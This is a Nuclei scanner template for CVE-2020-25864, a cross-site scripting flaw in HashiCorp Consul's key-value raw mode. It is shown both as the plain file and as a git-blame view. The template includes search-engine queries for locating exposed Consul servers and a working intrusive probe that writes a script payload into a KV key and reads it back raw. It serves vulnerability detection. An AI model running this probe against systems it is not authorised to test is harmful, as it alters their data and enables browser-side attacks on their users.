nuclei-templates/http/cves/2020/CVE-2020-25864.yaml

id: CVE-2020-25864

info:
  name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
  author: c-sh0
  severity: medium
  description: |
    HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
  remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
  reference:
    - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
    - https://www.hashicorp.com/blog/category/consul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25864
    - https://security.gentoo.org/glsa/202208-09
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25864
    cwe-id: CWE-79
    epss-score: 0.00324
    epss-percentile: 0.70681
    cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
  metadata:
    max-request: 2
    vendor: hashicorp
    product: consul
    shodan-query:
      - http.title:"consul by hashicorp"
      - cpe:"cpe:2.3:a:hashicorp:consul"
    fofa-query: title="consul by hashicorp"
    google-query: intitle:"consul by hashicorp"
  tags: cve,cve2020,consul,xss,intrusive,hashicorp

http:
  - raw:
      - |
        PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
        Host: {{Hostname}}

        <!DOCTYPE html><script>alert(document.domain)</script>
      - |
        GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/html

      - type: word
        part: body_2
        words:
          - <!DOCTYPE html><script>alert(document.domain)</script>

      - type: status
        status:
          - 200
# digest: 490a00463044022036ee6c2abe0cae19513f267a94eff61f5998ea99ab09723b203232fe8b84ce1602207c44bb37cf60a356634bae0a5cd0d1adf35f4f7d17d127d491a5e54739e542f6:922c64590222798bb761d5b6d8e72950
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00			`id: CVE-2020-25864`

			`info:`
Dashboard Content Enhancements (#5092) Dashboard Content Enhancements 2022-08-16 14:14:41 +00:00			`name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting`
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00			`author: c-sh0`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`severity: medium`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`description: \|`
Dashboard Content Enhancements (#5092) Dashboard Content Enhancements 2022-08-16 14:14:41 +00:00			`HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.`
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00			`reference:`
			`- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://www.hashicorp.com/blog/category/consul`
Dashboard Content Enhancements (#5092) Dashboard Content Enhancements 2022-08-16 14:14:41 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-25864`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- https://security.gentoo.org/glsa/202208-09`
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot: 2024-01-29 17:11:14 +00:00			`- https://github.com/ARPSyndicate/cvemon`
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00			`cve-id: CVE-2020-25864`
			`cwe-id: CWE-79`
TemplateMan Update [Sun Jan 14 13:49:26 UTC 2024] :robot: 2024-01-14 13:49:27 +00:00			`epss-score: 0.00324`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-percentile: 0.70681`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`cpe: cpe:2.3:a:hashicorp:consul:::::-:::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 2`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: hashicorp`
			`product: consul`
TemplateMan Update [Fri Jun 7 10:04:28 UTC 2024] :robot: 2024-06-07 10:04:29 +00:00			`shodan-query:`
			`- http.title:"consul by hashicorp"`
			`- cpe:"cpe:2.3:a:hashicorp:consul"`
product/queries updated 2024-05-31 19:23:20 +00:00			`fofa-query: title="consul by hashicorp"`
			`google-query: intitle:"consul by hashicorp"`
tags enhancements 2023-12-05 09:50:33 +00:00			`tags: cve,cve2020,consul,xss,intrusive,hashicorp`
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00			`- raw:`
			`- \|`
			`PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1`
			`Host: {{Hostname}}`

			`<!DOCTYPE html><script>alert(document.domain)</script>`
			`- \|`
			`GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1`
			`Host: {{Hostname}}`

			`matchers-condition: and`
			`matchers:`
added content type check 2022-02-17 20:45:13 +00:00			`- type: word`
			`part: header`
			`words:`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- text/html`
added content type check 2022-02-17 20:45:13 +00:00
Added Consul Templates (#3720) * added request condition to avoid false positive detection * misc updates 2022-02-17 18:25:37 +00:00			`- type: word`
			`part: body_2`
			`words:`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- <!DOCTYPE html><script>alert(document.domain)</script>`

			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Sat Jun 8 16:02:16 UTC 2024] :robot: 2024-06-08 16:02:17 +00:00			`# digest: 490a00463044022036ee6c2abe0cae19513f267a94eff61f5998ea99ab09723b203232fe8b84ce1602207c44bb37cf60a356634bae0a5cd0d1adf35f4f7d17d127d491a5e54739e542f6:922c64590222798bb761d5b6d8e72950`